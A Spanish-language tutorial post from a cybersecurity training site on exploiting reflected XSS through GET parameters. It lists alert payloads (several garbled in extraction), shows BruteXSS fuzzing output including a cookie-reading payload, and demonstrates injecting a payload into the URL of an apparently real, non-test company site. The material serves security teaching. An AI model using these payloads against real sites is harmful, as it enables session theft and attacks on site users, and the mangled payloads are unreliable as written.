• LOGIN
  • No hay productos en el carrito.

XSS Cross Site Scripting | Explotando Vulnerabilidades

Como sabemos las vulnerabilidades XSS consisten en inyectar código JavaScript en X sección de una aplicación web para que esta lo interprete como propio. Existen 3 tipos de vulnerabilidades XSS:
  • XSS Reflejado
  • XSS Persistente o Almacenado
  • XSS basado en DOM

El que trataremos en este post, sera el XSS Reflejado. Para Explotar esta vulnerabilidad podemos aprovecharnos de ciertas funciones o partes código de la aplicacion web.

El mas común, se encuentra en los formularios de búsqueda, en este caso tendremos en cuenta la forma en que se envían los datos, ya sea GET y POST.

GET

Cuando un usuario llena formularios en una aplicacion web, los datos deben enviarse, para ser tratados, manipulados, almacenados, etc. El método GET lo podemos identificar facilmente, ya sea por la URL o el código HTML de formulario.

URL enviando datos con el método GET

 

Atributo method utilizando GET en la etiqueta form de un formulario

 

 Su principal característica, es que podemos ver los datos que viajan por la URL por ejemplo:
http://testfire.net/search.aspx?txtSearch=se+envian+datos+por+GET
Lo que tenemos de color rojo son los datos que se enviaron por el formulario, donde el archivo search.aspx realiza una búsqueda. Asi que identificar el método en el que se envían los datos es sencillo, ya sea por el formulario o por la url.

Explotacion de una vulnerabilidad XSS [metodo: GET]

Ya sabemos como identificar si la pagina utiliza el método GET para enviar datos. Ahora explotemos la vulnerabilidad.
Para saber si una pagina es vulnerable (teniendo en cuenta el método GET) podemos hacer algunas cosas, como por ejemplo realizar una inyección de código HTML, por lo general si acepta nuestro código html, puede aceptar nuestro código JavaScript, y por algo básico hacer que la pagina muestre una alerta.
Sin inyeccion HTML
Con inyección HTML usando la etiqueta <h1></h1>
Como podemos ver en el ejemplo, es vulnerable a la inyección HTML, pues ahora solo debemos cambiar la búsqueda «XSS GET» por alguno de nuestros payload xss, les comparto algunos de los que uso:
—[ALERTAS]—
  • alert(«Drok3r»)
  • «>alert(«Drok3r»)
  • «>alert(666)
  • ipt>alert(«xss»);ipt>
  • <img src=»x» onerror=»alert(1)»» >
  • <script>alert(666)pt>
Solo demos remplazar el texto «XSS GET» por cualquiera de estos payload’s para generar un Alert en la aplicacion.
Alerta generada por XSS

También debemos tener en cuenta los filtros Anti-XSS que la aplicacion web tenga, no todos los payloads pueden generar una alerta.

[youtube https://www.youtube.com/watch?v=XtMuP35nt04?feature=player_embedded]

 

En este vídeo, se muestra como se realiza la explotacion de la vulnerabilidad XSS con método GET.

Explotar XSS GET utilizando el FUZZING

El Fuzzing consiste en enviar o generar datos, de manera secuencial o aleatoria a una o varias áreas de una aplicacion, con el fin de detectar vulnerabilidades.
El fuzzing es considerado como un complemento durante el testeo de aplicaciones, en donde se pueden detectar vulnerabilidades en código no testeado, o en nuestro caso «atacar» una aplicacion web, hasta encontrar una vulnerabilidad.
Esta técnica es util, pues como sabemos, algunas aplicaciones web, tienen sus filtros Anti-XSS los cuales filtran (evidente mente xD) todo el payload, o ciertos caracteres como <>, «», ‘ ‘, script, alert, /, etc. Esto dificulta un poco el testeo, sin embargo sabemos que existe mas de una forma de levantar una alerta, o encontrar una vulnerabilidad XSS.
Archivo .txt con mas de 5000 payload’s
Imagina tener que estar probado mas de 5000 payload’s, una perdida de tiempo, sin embargo para eso tenemos ciertas herramientas, las cuales automatizan este proceso, y en cuestión de minutos, sabremos si una aplicacion web, es vulnerable o no.
Para esto, uso una herramienta de nombre BruteXSS la cual, me permite realizar esta labor. Algunos usuarios, la consideran una herramienta de ataque de fuerza bruta, enfocada en vulnerabilidades XSS.
Simple de usar, solo se debe de indicar la URL (GET) a testear, y se inicia la auditoría.

 

BruteXSS started on 2017-12-21 06:28:39

[+] Site ‘testfire.net’ is available, Good!
[+] 6273 payloads loaded.
[+] Bruteforce start:
[+] Testing ‘txtSearch’ parameter…
[+] 0 / 6273 payloads injected…
[!] XSS Vulnerability Found!
[!] Parameter:    txtSearch
[!] Payload:    »»>
[+] 1 / 6273 payloads injected…
[!] XSS Vulnerability Found!
[!] Parameter:    txtSearch
[!] Payload:    ‘»><b>alert(document.cookie)</b>
[+] 2 / 6273 payloads injected…
[!] XSS Vulnerability Found!
[!] Parameter:    txtSearch
[!] Payload:    ?>alert(?X?)
[+] 3 / 6273 payloads injected…
[!] XSS Vulnerability Found!
[!] Parameter:    txtSearch
[!] Payload:    ?>alert(1)

Payload que muestra la cockie de sesion
El único inconveniente, que le veo a esta tool, es que en ocasiones da falsos, positivos, pero en su mayoría es acertada.
Otra herramienta bastante completa, y que recomiendo, es XENOTIX Framework, de OWASP, una herramienta enfocada a la detección y explotacion de vulnerabilidades XSS
Algo que me agrada de este tool, desde que la utilizo es que da 0 falsos positivos, de forma que es 100% precisa para encontrar y explotar las vulnerabilidades
Sin embargo, el hecho de encontrar una vulnerabilidad por este tipo de método, no lo es todo, debemos comprender incluso el código, para saber donde o en que sección, esta nuestro, payload.

 URL con múltiples parámetros (Método GET)

 Estos ejemplos que hemos visto, solo envían un parametro o variable con su respectivo dato, pero podemos encontrarnos con url con múltiples parámetros o datos enviados.
En este caso tenemos distintas variables, en la url, las cuales al ser enviadas llevan un dato cada una, por ejemplo, la url mostrada en la parte superior tiene 4 variables que viajan, gid, id, countryid y type cada una con sus respectivos datos.
gid=1
id=44
countryid=1
type=1
En donde testearemos de igual forma a cuando solo viaja una variable, en este caso solo debemos remplazar el valor de la variable por nuestro payload. por ejemplo, cambiaremos el valor de id que es 44 por nuestro payload alert(«xss»)
http://accord-healthcare.com/productdetail.php?gid=1&id=44&countryid=1&type=1 
 
http://accord-healthcare.com/productdetail.php?gid=1&id=alert(«xss»)&countryid=1&type=1
 De esta forma consecutivamente, hasta poder dar con nuestra vulnerabilidad XSS.

¿Necesitas ayuda?

Si necesitas ayuda con la plataforma puedes enviarnos un correo a cursos@iciberseguridad.io, una persona estará feliz de poder ayudarte 🙂

Un poco de nosotros

Creemos que la capacitación en ciberseguridad debe ser gratuita, para todos y PARA SIEMPRE. Todos merecemos la OPORTUNIDAD de comenzar y desarrollar una carrera en este fascinante y majestuosa área.
Por lo tanto, el Instituto de Ciberseguridad es una comunidad donde las personas y las empresas se unen para brindar a todos la posibilidad de colaborar y revolucionar la experiencia educativa de ciberseguridad.

ICS: Instituto de Ciberseguridad

top
Instituto de Ciberseguridad. Todos los derechos reservados.
X